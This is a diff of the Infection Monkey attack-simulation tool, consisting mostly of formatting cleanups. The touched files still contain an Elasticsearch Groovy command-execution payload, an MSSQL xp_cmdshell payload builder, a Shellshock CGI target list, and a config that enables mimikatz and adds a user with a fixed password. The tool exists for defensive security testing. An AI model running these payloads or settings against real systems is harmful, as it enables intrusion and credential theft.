diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py index ac4fe633e..4339fbcf4 100644 --- a/monkey/common/cloud/aws_instance.py +++ b/monkey/common/cloud/aws_instance.py @@ -4,14 +4,12 @@ import urllib.request import urllib.error import logging - __author__ = 'itay.mizeretz' AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254" AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) ACCOUNT_ID_KEY = "accountId" - logger = logging.getLogger(__name__) @@ -29,8 +27,8 @@ class AwsInstance(object): self.instance_id = urllib.request.urlopen( AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() self.region = self._parse_region( - urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read(). - decode()) + urllib.request.urlopen( + AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode()) except (urllib.error.URLError, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) diff --git a/monkey/common/cloud/aws_service.py b/monkey/common/cloud/aws_service.py index b435b23c7..6ef385542 100644 --- a/monkey/common/cloud/aws_service.py +++ b/monkey/common/cloud/aws_service.py @@ -14,7 +14,6 @@ COMPUTER_NAME_KEY = 'ComputerName' PLATFORM_TYPE_KEY = 'PlatformType' IP_ADDRESS_KEY = 'IPAddress' - logger = logging.getLogger(__name__) diff --git a/monkey/common/cloud/aws_service_test.py b/monkey/common/cloud/aws_service_test.py index 25d1b8b6e..cbcbfebcd 100644 --- a/monkey/common/cloud/aws_service_test.py +++ b/monkey/common/cloud/aws_service_test.py @@ -3,7 +3,6 @@ from .aws_service import filter_instance_data_from_aws_response import json - __author__ = 'shay.nehmad' @@ -11,14 +10,14 @@ class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { - "InstanceInformationList": [ - { + "InstanceInformationList": [ + { "ActivationId": "string", "AgentVersion": "string", - "AssociationOverview": { + "AssociationOverview": { "DetailedStatus": "string", - "InstanceAssociationStatusAggregatedCount": { - "string" : 6 + "InstanceAssociationStatusAggregatedCount": { + "string" : 6 } }, "AssociationStatus": "string", diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py index c8647bfe4..3499f8d14 100644 --- a/monkey/common/cmd/aws/aws_cmd_result.py +++ b/monkey/common/cmd/aws/aws_cmd_result.py @@ -1,6 +1,5 @@ from common.cmd.cmd_result import CmdResult - __author__ = 'itay.mizeretz' diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index 9745d2c1d..459a42129 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -15,7 +15,7 @@ class AwsCmdRunner(CmdRunner): Class for running commands on a remote AWS machine """ - def __init__(self, is_linux, instance_id, region = None): + def __init__(self, is_linux, instance_id, region=None): super(AwsCmdRunner, self).__init__(is_linux) self.instance_id = instance_id self.region = region diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py index a379a4743..978540b10 100644 --- a/monkey/common/data/__init__.py +++ b/monkey/common/data/__init__.py @@ -1,2 +1,3 @@ from .zero_trust_consts import populate_mappings + populate_mappings() diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py index 5fc9d6d8a..b194c9421 100644 --- a/monkey/common/data/network_consts.py +++ b/monkey/common/data/network_consts.py @@ -1,2 +1 @@ ES_SERVICE = 'elastic-search-9200' - diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 5ac5dd78d..7135485da 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -58,7 +58,7 @@ PRINCIPLES = { PRINCIPLE_DATA_TRANSIT: "Secure data at transit by encrypting it.", PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandetory " - "Access Control) only.", + "Access Control) only.", } POSSIBLE_STATUSES_KEY = "possible_statuses" @@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation" TEST_EXPLANATION_KEY = "explanation" TESTS_MAP = { TEST_SEGMENTATION: { - TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", + TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's " + "running on, that belong to different network segments.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." @@ -78,7 +79,8 @@ TESTS_MAP = { POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { - TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", + TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting " + "exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." }, @@ -89,8 +91,10 @@ TESTS_MAP = { TEST_ENDPOINT_SECURITY_EXISTS: { TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", - STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus " + "software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a " + "security concern. " }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], @@ -99,7 +103,8 @@ TESTS_MAP = { TEST_MACHINE_EXPLOITED: { TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see " + "which endpoints were compromised.", STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, @@ -109,7 +114,8 @@ TESTS_MAP = { TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security " + "software.", STATUS_PASSED: "Monkey failed to execute in a scheduled manner." }, PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, @@ -120,7 +126,8 @@ TESTS_MAP = { TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts " + "that indicate attempts to access them. " }, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], @@ -130,7 +137,8 @@ TESTS_MAP = { TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate " + "attempts to access them. " }, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PILLARS_KEY: [DATA], @@ -139,7 +147,8 @@ TESTS_MAP = { TEST_TUNNELING: { TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - " + "restrict them. " }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], @@ -148,7 +157,8 @@ TESTS_MAP = { TEST_COMMUNICATE_AS_NEW_USER: { TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - " + "restrict them to MAC only.", STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 7393ceda2..6a1201e07 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -59,7 +59,7 @@ class NetworkRange(object, metaclass=ABCMeta): ips = address_str.split('-') try: ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) - except ValueError as e: + except ValueError: return False return True return False @@ -173,4 +173,3 @@ class SingleIpRange(NetworkRange): return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it return ip, domain_name - diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py index 221f1d9bf..9dea1af19 100644 --- a/monkey/common/network/segmentation_utils_test.py +++ b/monkey/common/network/segmentation_utils_test.py @@ -1,4 +1,4 @@ -from common.network.network_range import * +from common.network.network_range import CidrRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index d6d407706..214e6d108 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,10 +1,10 @@ - - # abstract, static method decorator +# noinspection PyPep8Naming class abstractstatic(staticmethod): __slots__ = () def __init__(self, function): super(abstractstatic, self).__init__(function) function.__isabstractmethod__ = True + __isabstractmethod__ = True diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index 48d632bcd..854109b30 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -80,4 +80,3 @@ class MongoUtils: continue return row - diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 6b01761d1..f3936fe19 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -74,7 +74,7 @@ class Configuration(object): val_type = type(value) - if val_type is types.FunctionType or val_type is types.MethodType: + if isinstance(val_type, types.FunctionType) or isinstance(val_type, types.MethodType): continue if val_type in (type, ABCMeta): diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 54d528976..b063744ad 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -304,7 +304,7 @@ class ControlClient(object): try: target_addr, target_port = my_proxy.split(':', 1) target_port = int(target_port) - except: + except ValueError: return None else: proxy_class = HTTPConnectProxy diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index ee1194035..55a359b60 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -26,6 +26,7 @@ else: try: WindowsError except NameError: + # noinspection PyShadowingBuiltins WindowsError = IOError __author__ = 'itamar' @@ -103,17 +104,17 @@ class MonkeyDrops(object): dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) - except OSError as exc: + except OSError: LOG.warning("Cannot set reference date using '%s', file not found", dropper_date_reference_path) else: try: os.utime(self._config['destination_path'], (ref_stat.st_atime, ref_stat.st_mtime)) - except: + except OSError: LOG.warning("Cannot set reference date to destination file") - monkey_options =\ + monkey_options = \ build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 194e18625..4fb0200c8 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -1,109 +1,109 @@ { - "should_exploit": true, - "command_servers": [ - "192.0.2.0:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ + "should_exploit": true, + "command_servers": [ + "192.0.2.0:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ - ], - "inaccessible_subnets": [], - "blocked_ips": [], - "current_server": "192.0.2.0:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "should_use_mimikatz": true, - "depth": 2, + ], + "inaccessible_subnets": [], + "blocked_ips": [], + "current_server": "192.0.2.0:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "monkey_dir_name": "monkey_dir", + "monkey_dir_name": "monkey_dir", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "VSFTPDExploiter", - "MSSQLExploiter" - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger", - "MSSQLFingerprint", - "ElasticFinger" - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 0, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200, - 7001, - 8088 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 15, - "victims_max_find": 100, - "post_breach_actions" : [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "MSSQLFingerprint", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200, + 7001, + 8088 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 15, + "victims_max_find": 100, + "post_breach_actions": [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None } diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0431e7295..306350437 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -20,11 +20,11 @@ class HostExploiter(object, metaclass=ABCMeta): def __init__(self, host): self._config = infection_monkey.config.WormConfiguration self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, - 'started': '', - 'finished': '', - 'vulnerable_urls': [], - 'vulnerable_ports': [], - 'executed_cmds': []} + 'started': '', + 'finished': '', + 'vulnerable_urls': [], + 'vulnerable_ports': [], + 'executed_cmds': []} self.exploit_attempts = [] self.host = host @@ -43,7 +43,7 @@ class HostExploiter(object, metaclass=ABCMeta): def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): self.exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) def exploit_host(self): self.pre_exploit() diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index f1057f2dd..f66a58ab0 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \ DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT from common.data.network_consts import ES_SERVICE @@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE): # attack URLs MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_CMD = GENERIC_QUERY \ - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + JAVA_CMD = \ + GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Elastic search' @@ -39,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE): # Overridden web_rce method that adds CMD prefix for windows command try: if 'windows' in self.host.os['type']: - resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND) else: resp = self.exploit(url, CHECK_COMMAND) if resp is True: diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index dee597a18..16e69dff0 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): - _EXPLOITED_SERVICE = 'MSSQL' _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE @@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter): def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \ format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) @@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload): def __init__(self, command, prefix="", suffix=""): super(MSSQLLimitedSizePayload, self).__init__(command=command, max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, - suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, + suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index e3825eac9..ec3f41a7a 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -230,13 +230,13 @@ class SambaCryExploiter(HostExploiter): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and ( - samba_version_parts[1] <= "13"): + samba_version_parts[1] <= "13"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and ( - samba_version_parts[1] <= "9"): + samba_version_parts[1] <= "9"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and ( - samba_version_parts[1] <= "3"): + samba_version_parts[1] <= "3"): is_vulnerable = True else: # If pattern doesn't match we can't tell what version it is. Better try @@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, - shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0) + return SambaCryExploiter.create_smb( + smb_client, + treeId, + pathName, + desiredAccess=FILE_READ_DATA, + shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, + creationDisposition=FILE_NON_DIRECTORY_FILE, + fileAttributes=0) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 52be145cc..f65974dbd 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter): self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( - 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): + 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py index 10cfc75a6..46851dde1 100644 --- a/monkey/infection_monkey/exploit/shellshock_resources.py +++ b/monkey/infection_monkey/exploit/shellshock_resources.py @@ -1,406 +1,408 @@ # resource for shellshock attack # copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list -CGI_FILES = (r'/', - r'/admin.cgi', - r'/administrator.cgi', - r'/agora.cgi', - r'/aktivate/cgi-bin/catgy.cgi', - r'/analyse.cgi', - r'/apps/web/vs_diag.cgi', - r'/axis-cgi/buffer/command.cgi', - r'/b2-include/b2edit.showposts.php', - r'/bandwidth/index.cgi', - r'/bigconf.cgi', - r'/cartcart.cgi', - r'/cart.cgi', - r'/ccbill/whereami.cgi', - r'/cgi-bin/14all-1.1.cgi', - r'/cgi-bin/14all.cgi', - r'/cgi-bin/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp3.cgi', - r'/cgi-bin/a1stats/a1disp4.cgi', - r'/cgi-bin/addbanner.cgi', - r'/cgi-bin/add_ftp.cgi', - r'/cgi-bin/adduser.cgi', - r'/cgi-bin/admin/admin.cgi', - r'/cgi-bin/admin.cgi', - r'/cgi-bin/admin/getparam.cgi', - r'/cgi-bin/adminhot.cgi', - r'/cgi-bin/admin.pl', - r'/cgi-bin/admin/setup.cgi', - r'/cgi-bin/adminwww.cgi', - r'/cgi-bin/af.cgi', - r'/cgi-bin/aglimpse.cgi', - r'/cgi-bin/alienform.cgi', - r'/cgi-bin/AnyBoard.cgi', - r'/cgi-bin/architext_query.cgi', - r'/cgi-bin/astrocam.cgi', - r'/cgi-bin/AT-admin.cgi', - r'/cgi-bin/AT-generate.cgi', - r'/cgi-bin/auction/auction.cgi', - r'/cgi-bin/auktion.cgi', - r'/cgi-bin/ax-admin.cgi', - r'/cgi-bin/ax.cgi', - r'/cgi-bin/axs.cgi', - r'/cgi-bin/badmin.cgi', - r'/cgi-bin/banner.cgi', - r'/cgi-bin/bannereditor.cgi', - r'/cgi-bin/bb-ack.sh', - r'/cgi-bin/bb-histlog.sh', - r'/cgi-bin/bb-hist.sh', - r'/cgi-bin/bb-hostsvc.sh', - r'/cgi-bin/bb-replog.sh', - r'/cgi-bin/bb-rep.sh', - r'/cgi-bin/bbs_forum.cgi', - r'/cgi-bin/bigconf.cgi', - r'/cgi-bin/bizdb1-search.cgi', - r'/cgi-bin/blog/mt-check.cgi', - r'/cgi-bin/blog/mt-load.cgi', - r'/cgi-bin/bnbform.cgi', - r'/cgi-bin/book.cgi', - r'/cgi-bin/boozt/admin/index.cgi', - r'/cgi-bin/bsguest.cgi', - r'/cgi-bin/bslist.cgi', - r'/cgi-bin/build.cgi', - r'/cgi-bin/bulk/bulk.cgi', - r'/cgi-bin/cached_feed.cgi', - r'/cgi-bin/cachemgr.cgi', - r'/cgi-bin/calendar/index.cgi', - r'/cgi-bin/cartmanager.cgi', - r'/cgi-bin/cbmc/forums.cgi', - r'/cgi-bin/ccvsblame.cgi', - r'/cgi-bin/c_download.cgi', - r'/cgi-bin/cgforum.cgi', - r'/cgi-bin/.cgi', - r'/cgi-bin/cgi_process', - r'/cgi-bin/classified.cgi', - r'/cgi-bin/classifieds.cgi', - r'/cgi-bin/classifieds/classifieds.cgi', - r'/cgi-bin/classifieds/index.cgi', - r'/cgi-bin/.cobalt/alert/service.cgi', - r'/cgi-bin/.cobalt/message/message.cgi', - r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', - r'/cgi-bin/commandit.cgi', - r'/cgi-bin/commerce.cgi', - r'/cgi-bin/common/listrec.pl', - 